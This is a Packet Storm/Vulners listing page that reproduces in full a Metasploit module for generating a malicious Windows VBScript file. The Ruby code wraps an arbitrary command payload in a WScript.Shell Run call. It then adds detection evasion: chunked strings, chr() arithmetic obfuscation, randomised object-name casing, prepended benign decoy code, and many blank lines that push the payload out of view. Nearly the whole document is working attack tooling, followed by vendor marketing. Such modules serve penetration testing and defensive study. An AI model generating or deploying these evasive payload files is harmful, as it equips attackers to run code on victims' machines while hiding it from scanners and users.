Lucene search
K

📄 Malicious Windows Script Host VBScript File

🗓️ 28 Jul 2025 00:00:00Reported by Brendan ColesType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 94 Views

Metasploit module creates a malicious Windows Script Host Visual Basic Script file with payload.

Code
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = GreatRanking
    
      include Msf::Exploit::FILEFORMAT
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Malicious Windows Script Host VBScript (.vbs) File',
            'Description' => %q{
              This module creates a Windows Script Host (WSH) VBScript (.vbs) file.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'bcoles'
            ],
            'References' => [
              ['ATT&CK', Mitre::Attack::Technique::T1204_002_MALICIOUS_FILE],
            ],
            'Arch' => [ARCH_CMD],
            'Platform' => 'win',
            'Payload' => {
              'Space' => 8_000, # 8190 maximum command length, minus some space for "cmd.exe /c " and escaping
              'BadChars' => "\x00",
              'DisableNops' => true
            },
            'Targets' => [
              [
                'Microsoft Windows 98 or newer', {}
              ],
            ],
            'Privileged' => false,
            'DisclosureDate' => '1998-06-25', # Windows 98 release date
            'DefaultTarget' => 0,
            'DefaultOptions' => {
              'DisablePayloadHandler' => true
            },
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [SCREEN_EFFECTS]
            }
          )
        )
    
        register_options([
          OptString.new('FILENAME', [true, 'The VBScript file name.', 'msf.vbs']),
          OptBool.new('OBFUSCATE', [false, 'Enable VBScript obfuscation', true])
        ])
    
        register_advanced_options([
          OptBool.new('PrependBenignCode', [false, 'Prepend several lines of benign code at the start of the file.', true]),
          OptInt.new('PrependNewLines', [false, 'Prepend new lines before the malicious VBScript.', 100]),
        ])
      end
    
      # Returns a random math expression evaluating to input int
      #
      # @param [Integer] int input integer
      #
      # @return [String] math expression evaluating to input int
      def generate_number_expression(int)
        case rand(4)
        when 0 # Sum
          a = rand(0..int)
          b = int - a
          "(#{a}+#{b})"
        when 1 # Difference
          r1 = int + rand(1..10)
          r2 = r1 - int
          "(#{r1}-#{r2})"
        when 2 # Product (only if divisible)
          divisors = (1..int).select { |d| (int % d).zero? }
          if divisors.size > 1
            d = divisors.sample
            "(#{d}*#{int / d})"
          else
            "(#{int}+0)"
          end
        when 3 # Quotient
          r2 = rand(1..10)
          r1 = int * r2
          "(#{r1}/#{r2})"
        end
      end
    
      # Return VBScript code with all strings split into chunks and concatenated
      #
      # @param [String] vbscript VBScript code
      #
      # @return [String] VBScript code with chunked strings
      def chunk_vbscript_strings(vbscript)
        vbscript.gsub(/"([^"]+)"/) do
          original = Regexp.last_match(1)
          chunks = []
    
          i = 0
          while i < original.length
            chunk_size = rand(1..5)
            chunks << "\"#{original[i, chunk_size]}\""
            i += chunk_size
          end
    
          chunks.join(' & ')
        end
      end
    
      # Build a series of benign VBScript noise blocks
      #
      # @param [Integer] block_count Number of blocks to generate
      #
      # @return [String] block_count blocks of inert VBScript
      def generate_vbscript_noise(block_count = 0)
        lines = []
    
        block_count.times do
          case rand(4)
          when 0 # Dummy variable declarations and assignments
            v1 = rand_text_alpha(6..16)
            v2 = rand_text_alpha(6..16)
            a = rand(0..100)
            b = rand(0..100)
            lines << "Dim #{v1}, #{v2}"
            lines << "#{v1} = #{a}"
            lines << "#{v2} = #{b}"
          when 1 # Dummy Function
            fname = rand_text_alpha(6..16)
            arg = rand_text_alpha(6..16)
            mult = rand(1..5)
            lines << "Function #{fname}(#{arg})"
            lines << "    #{fname} = #{arg} * #{mult}"
            lines << 'End Function'
          when 2 # Dummy Sub
            sname = rand_text_alpha(6..16)
            arg = rand_text_alpha(6..16)
            mult = rand(1..5)
            lines << "Sub #{sname}(#{arg})"
            lines << "    #{sname} = #{arg} * #{mult}"
            lines << 'End Sub'
          when 3 # Dummy For loop
            idx = rand_text_alpha(6..16)
            max = rand(1..5)
            lines << "Dim #{idx}"
            lines << "For #{idx} = 1 To #{max}"
            lines << "    #{idx} = #{idx} + 0"
            lines << 'Next'
          end
        end
    
        lines.join("\r\n")
      end
    
      # Obfuscate string literals and integer literals
      #
      # @param [String] vbscript VBScript code to be obfuscated
      #
      # @return [String] Obfuscated VBScript
      def obfuscate_vbscript(vbscript)
        obfuscated = vbscript.dup
    
        # Obfuscate strings
        obfuscated = chunk_vbscript_strings(obfuscated)
        obfuscated.gsub!(/"((?:[^"]|"")*)"/) do
          raw = ::Regexp.last_match(1).gsub('""', '"')
          raw.chars.map { |c| "chr(#{generate_number_expression(c.ord)})" }.join(' & ')
        end
    
        # Obfuscate integers
        obfuscated.gsub!(/\b\d+\b/) do |num|
          generate_number_expression(num.to_i)
        end
    
        obfuscated
      end
    
      def generate_vbscript(command_string, prepend_benign_code: false, prepend_new_lines: 0, obfuscate: false)
        vbs = ''
        vbs << generate_vbscript_noise(rand(8..10)) if prepend_benign_code
        vbs << "\r\n" * prepend_new_lines
    
        escaped_payload = command_string.gsub('\\', '\\\\\\').gsub('"', '\\"')
    
        # If the payload contains " & " we presume it is a command string.
        #
        # TODO: Change this once Metasploit is able to inform a module that
        #       the specified ARCH_CMD payload is a string of commands
        #       (not a single command).
        if escaped_payload.include?(' & ')
          cmd = "cmd.exe /c #{escaped_payload}"
        else
          cmd = escaped_payload
        end
    
        shell_obj = 'WScript.Shell'.chars.map { |c| (rand(2) == 0 ? c.downcase : c.upcase) }.join
        vbs_payload = "CreateObject(\"#{shell_obj}\").Run(\"#{cmd}\")"
        if obfuscate
          vbs << obfuscate_vbscript(vbs_payload)
        else
          vbs << vbs_payload
        end
    
        vbs
      end
    
      def exploit
        vbs = generate_vbscript(
          payload.encoded,
          prepend_benign_code: datastore['PrependBenignCode'],
          prepend_new_lines: datastore['PrependNewLines'],
          obfuscate: datastore['OBFUSCATE']
        )
        file_create(vbs)
      end
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation